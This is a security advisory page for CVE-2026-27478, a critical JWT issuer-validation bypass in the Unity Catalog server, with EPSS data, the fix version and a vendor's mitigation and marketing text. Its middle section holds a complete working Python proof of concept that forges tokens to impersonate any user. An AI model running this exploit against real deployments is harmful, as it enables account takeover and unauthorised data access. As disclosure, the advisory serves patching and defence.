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Maven

GHSA-qqcj-rghw-829x

CRITICAL

Unity Catalog has a JWT Issuer Validation Bypass tht Allows Complete User Impersonation

Also known asCVE-2026-27478
Published
May 11, 2026
Updated
May 11, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk8th percentile+0.15%
0.00%0.23%0.46%0.68%0.0%0.0%0.0%0.2%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
io.unitycatalog:unitycatalog-server

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.

Description

Context: A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider.

Way to exploit:

An attacker can exploit this by:

  1. Hosting their own OIDC-compliant server with a valid JWKS endpoint
  2. Signing a JWT with their own private key, setting the iss claim to their server
  3. Setting the sub/email claim to any known user in the Unity Catalog system
  4. Exchanging this crafted token for a valid internal access token

This results in complete impersonation of any user in the system, granting access to all catalogs, schemas, tables, and other resources that user has permissions to.

Additionally, the implementation does not validate the audience (aud) claim, allowing tokens intended for other services to be used.

Example

Example implementation doing token exchange with a self hosted .well-known/openid-configuration and jwks endpoint.

This can be run with python3 main.py and TARGET_USER, UC_SERVER and PORT adjusted to the testing setup.

#!/usr/bin/env python3
"""Unity Catalog JWT Issuer Validation Bypass PoC - Minimal Version"""

import base64, secrets, threading, time
from datetime import datetime, timedelta, timezone
import jwt, requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from flask import Flask, jsonify

TARGET_USER = "[email protected]"
UC_SERVER = "http://localhost:8080"
PORT = 8888
ISSUER = f"http://localhost:{PORT}"

# Generate RSA key pair
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
kid = secrets.token_hex(8)

# Create JWKS
pub = key.public_key().public_numbers()
def b64(n): return base64.urlsafe_b64encode(n.to_bytes((n.bit_length()+7)//8, "big")).rstrip(b"=").decode()
jwks = {"keys": [{"kty": "RSA", "use": "sig", "alg": "RS256", "kid": kid, "n": b64(pub.n), "e": b64(pub.e)}]}

# Create malicious JWT
token = jwt.encode(
    {"iss": ISSUER, "sub": TARGET_USER, "email": TARGET_USER, "aud": "unity-catalog",
     "iat": datetime.now(timezone.utc), "exp": datetime.now(timezone.utc) + timedelta(hours=1)},
    key.private_bytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()),
    algorithm="RS256", headers={"kid": kid}
)

# Start minimal OIDC server
app = Flask(__name__)
app.logger.disabled = True

@app.route("/.well-known/openid-configuration")
def oidc(): return jsonify({"issuer": ISSUER, "jwks_uri": f"{ISSUER}/jwks"})

@app.route("/jwks")
def keys(): return jsonify(jwks)

threading.Thread(target=lambda: app.run(port=PORT, threaded=True, use_reloader=False), daemon=True).start()
time.sleep(1)

# Exchange token
resp = requests.post(f"{UC_SERVER}/api/1.0/unity-control/auth/tokens",
                     data={"grant_type": "urn:ietf:params:oauth:grant-type:token-exchange",
                           "requested_token_type": "urn:ietf:params:oauth:token-type:access_token",
                           "subject_token_type": "urn:ietf:params:oauth:token-type:id_token",
                           "subject_token": token})

if resp.status_code == 200:
    access_token = resp.json()["access_token"]
    print(f"[+] Got access token as '{TARGET_USER}'")
    # Demo: list catalogs
    catalogs = requests.get(f"{UC_SERVER}/api/2.1/unity-catalog/catalogs",
                            headers={"Authorization": f"Bearer {access_token}"})
    print(catalogs.json())
else:
    print(f"[-] Failed: {resp.status_code} {resp.text}")

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
Mavenio.unitycatalog:unitycatalog-serverall versions0.4.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.unitycatalog:unitycatalog-server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update io.unitycatalog:unitycatalog-server to 0.4.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qqcj-rghw-829x is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-qqcj-rghw-829x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-qqcj-rghw-829x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

**Context:** A critical authentication bypass vulnerability exists in the Unity Catalog token exchange endpoint (/api/1.0/unity-control/auth/tokens). The endpoint extracts the issuer (iss) claim from incoming JWTs and uses it to dynamically fetch the JWKS endpoint for signature validation without validating that the issuer is a trusted identity provider. **Way to exploit:** An attacker can exploit this by: 1. Hosting their own OIDC-compliant server with a valid JWKS endpoint 2. Signing a JWT with their own private key, setting the iss claim to their server 3. Setting the sub/email claim to a
O3 Security · Impact-Aware SCA

Is GHSA-qqcj-rghw-829x in your dependencies?

O3 detects GHSA-qqcj-rghw-829x across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.